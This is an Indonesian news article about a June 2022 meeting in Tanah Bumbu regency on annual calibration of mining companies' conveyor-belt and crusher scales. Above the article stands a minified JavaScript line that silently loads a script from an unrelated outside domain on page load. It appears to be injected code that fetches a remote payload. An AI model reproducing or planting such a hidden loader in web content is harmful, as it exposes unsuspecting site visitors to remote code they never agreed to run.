(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Dinas Koperasi Usaha Mikro Perdagangan dan Perindustrian (DKUMP2) Kabupaten Tanah Bumbu (Tanbu) rapat dengan pihak perusahaan pertambangan yang beroperasi di Tanah Bumbu.
Rapat dibuka langsung Bupati HM Zairullah Azhar didampingi Sekda H Ambo Sakka, dan Staf Ahli Bupati, Rabu (29/6/2022), membahas penerapan kegiatan tera/tera ulang khusus untuk alat UTTP (ukur, takar, timbang, dan perlengkapanya) berupa compeyor belt dan crusher yang selama ini banyak digunakan oleh para pengusaha pertambangan di Tanbu.
Kepala DKUMP2 Tanbu, H Deni Hariyanto, mengatakan, tera dan tera ulang timbangan ban berjalan (compeyor belt dan crusher) sejak tahun 2020 sudah masuk ke dalam ruang lingkup kewenangan Unit Metrologi Legal (UML) Kabupaten Tanbu.
Sesuai dengan surat keputusan Direktorat Metrologi Nomor 39 Tahun 2020, namun baru dilaksanakan tahun 2022 karena baru tahun ini petugas penera berhak punya sertifikasi untuk boleh melaksanakan peneraan.
Baca juga: Empat Desa di Babirik Mulai Manfaatkan Drone untuk Basmi Gulma di Lahan Pertanian
“Manfaat dari pelaksanaan tera ulang bagi kalangan usaha dan masyarakat adalah punya kepastian hukum dan ukuran, mudah melakukan audit internal maupun eksternal, serta sebagai syarat utama transaksi,” ujarnya.
Sedangkan bagi daerah, sebagai penyumbang sumber PAD dari dunia usaha melalui urusan kemetrologian.
Sementara itu, Bupati HM Zairullah Azhar menyebutkan, dalam rangka untuk menjadikan Kabupaten Tanah Bumbu sebagai kabupaten agamis Bersujud menuju Serambi Madinah maka alat yang digunakan oleh para pengusaha harus tertib dan punya kepastian ukuran dalam kegiatan usaha.
Hasil rapat dan sosialisasi tersebut didapat keputusan bersama mengenai komitmen untuk melaksanakan pelayanan tera dan tera ulang timbangan ban berjalan baik conveyor belt maupun crusher secara berkala setiap tahun sesuai dengan masa wajib tera alat UTTP tersebut.
Hadir pada rapat dan sosialiasi tersebut Kadis DKUMP2, Kadis PMPTSP, Kadishub, Bagian Hukum Setda, Bagian Ekonomi dan SDA Setda , Dinas Satpol PP, Staf Khusus Percepatan Pembangunan, dan perwakilan dari PT BIB, PT TIA , PT BIR, PT STU, PT CLS, PT BKW, PT Bayan Resources, serta PT Dua Samudra Perkasa. (Kanalkalimantan.com/ftr)
Reporter : ftr
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
KANALKALIMANTAN.COM, PARINGIN – Pekan pertama masa pemulihan pascabanjir di Kabupaten Balangan, sejumlah perbaikan sudah mulai… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas dan Kejaksaan Negeri (Kejari) Kapuas melakukan serah… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga binaan Rumah Tahanan Negara (Rutan) Kelas II B Kapuas berkumpul… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas bergerak cepat merespons kebakaran permukiman di Desa Pantai… Read More
This website uses cookies.